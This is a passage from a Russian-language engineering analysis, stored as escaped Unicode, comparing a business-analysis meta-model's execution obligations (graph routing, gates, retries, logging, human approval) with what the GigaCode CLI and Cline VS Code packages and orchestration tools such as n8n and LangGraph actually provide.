\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0412\\n\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u0430\u043a \u0441\u043b\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 API runner, \u043d\u043e \u043d\u0435\\n\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n- **\u0427\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n  [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n  \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n  [GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n  \u0438\\n  [Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-cline-vscode);\\n  \u0441\u0440\u0435\u0434\u044b 1\u20134 \u0438\u0437\\n  [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)\\n  \u0438 [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96);\\n  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n  \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.\\n- **\u0427\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439,\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0434\u0430\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango: \u0441\u0435\u0442\u044c,\\n  \u043f\u0440\u0430\u0432\u0430, \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence. \u0416\u0438\u0432\u043e\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u0430 n8n \u0438\u043b\u0438 LangGraph\\n  \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0441\u044f; \u0432\u044b\u0432\u043e\u0434\u044b \u043e \u043d\u0438\u0445 \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434.\\n- **\u0414\u043b\u044f \u043a\u043e\u0433\u043e.** \u0414\u043b\u044f \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0442\u0430\u0432\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435\\n  \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0435\u0441\u0442\u044c \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b: \u043a\u0430\u043a\\n  \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0433\u0435\u0439\u0442 \u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c\\n  \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.\\n\\n## \u041c\u0435\u0442\u043e\u0434\\n\\n1. **\u0422\u0440\u0438 \u0441\u043b\u043e\u044f.** \u041a\u0430\u0436\u0434\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u043b\u043e\u044e: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n   (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0415](#\u0435-\u0441\u043b\u043e\u0439-1-\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c-\u0438-\u0435\u0451-\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f)),\\n   \u0441\u0440\u0435\u0434\u044b (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0416](#\u0436-\u0441\u043b\u043e\u0439-2-\u0441\u0440\u0435\u0434\u044b-\u0430\u0433\u0435\u043d\u0442-\u043a\u043b\u0438\u0435\u043d\u0442-\u043c\u043e\u0434\u0435\u043b\u044c-\u0447\u0435\u043b\u043e\u0432\u0435\u043a)),\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430)).\\n2. **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430.** \u0421\u0442\u0440\u043e\u043a\u0438 \u043a\u043e\u0434\u0430 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 `main`; \u043f\u0440\u043e\u0431\u044b runner\\n   GigaCode `P10`\u2026`P12` \u0432\\n   [`experiments/issue_639_runner_probes.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py)\\n   \u0441 [\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log);\\n   \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 2026-09-29. \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b.\\n3. **\u0421\u0442\u0430\u0442\u0443\u0441\u044b.** \u00ab\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e\u00bb \u0438 \u00ab\u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e\u00bb \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438.\\n   \u00ab\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u00bb \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u0432\\n   \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435. \u00ab\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb \u2014 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043d\u0435\u0442, \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n4. **\u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u0438\u043f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438** \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438: \u0432\u044b\u0441\u043e\u043a\u0430\u044f,\\n   \u0441\u0440\u0435\u0434\u043d\u044f\u044f, \u043d\u0438\u0437\u043a\u0430\u044f; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c. \u0414\u043b\u044f \u0441\u043b\u043e\u044f 3\\n   \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0442\u0438\u043f **\u0432\u044b\u0431\u043e\u0440** \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043c\u0435\u0436\u0434\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438.\\n5. **\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0443\u0441\u043f\u0435\u0445\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.** \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 (\u0433\u0440\u0430\u0444 \u0441 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430\u043c\u0438 `EP-R3`/`EP-R5`, \u0437\u0430\u043f\u0438\u0441\u044c\\n   \u0440\u0435\u0448\u0435\u043d\u0438\u0439 `EP-R6`, \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 `EP-R7`, \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 `EP-R8`,\\n   \u0436\u0443\u0440\u043d\u0430\u043b `EP-R9`, G-human) \u043a\u043e\u0434\u043e\u043c \u0432\u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u0438, \u0431\u0435\u0440\u0451\u0442 \u0433\u0440\u0430\u0444 \u0438\u0437 Source \u0431\u0435\u0437\\n   \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u044b.\\n6. **\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.** \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438\\n   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n   \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\\n   \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435; \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435\\n   \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043b\u0430\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.\\n\\n## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n|---------------|-------------------|--------------------------|----------------------|----------------------|\\n| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n| \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443 \u0440\u0435\u0431\u0440\u0430 (`EP-R3`, `EP-R5`) | [L227, L229](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L227-L229) | 17 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 YAML \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0432\u0435\u0442\u0432\u0438 \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n| \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`EP-R8`) | [L232](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L232) | `halt` \u2014 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | \u041d\u0435\u0442 | Runner ([\u0413-31](#\u0433-31)) |\\n| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 (G-human) | `Gate` \u0432 [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50) | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 `approval` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c ([\u0413-18 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-18)) | Runner + \u0447\u0435\u043b\u043e\u0432\u0435\u043a |\\n\\n\u0412\u044b\u0432\u043e\u0434 \u043f\u043e \u0441\u043b\u043e\u044e 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u00bb, \u0430\\n\u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b\\n\u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0441\u0440\u0435\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 `EP-R8`, \u0433\u0434\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439\\n\u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb ([\u0413-27](#\u0433-27)). \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435, \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\\n\u0421\u043b\u043e\u0432\u043e \u00ab\u0441\u0440\u0435\u0434\u0430\u00bb \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u043e\u043b\u0435\u0439. \u0412 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u0445 \u043b\u0435\u0433\u043a\u043e\\n\u0441\u043c\u0435\u0448\u0430\u0442\u044c; \u043d\u0438\u0436\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u043e\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.\\n\\n| \u0420\u043e\u043b\u044c | \u0421\u0440\u0435\u0434\u0430 1: GigaCode CLI | \u0421\u0440\u0435\u0434\u0430 2: 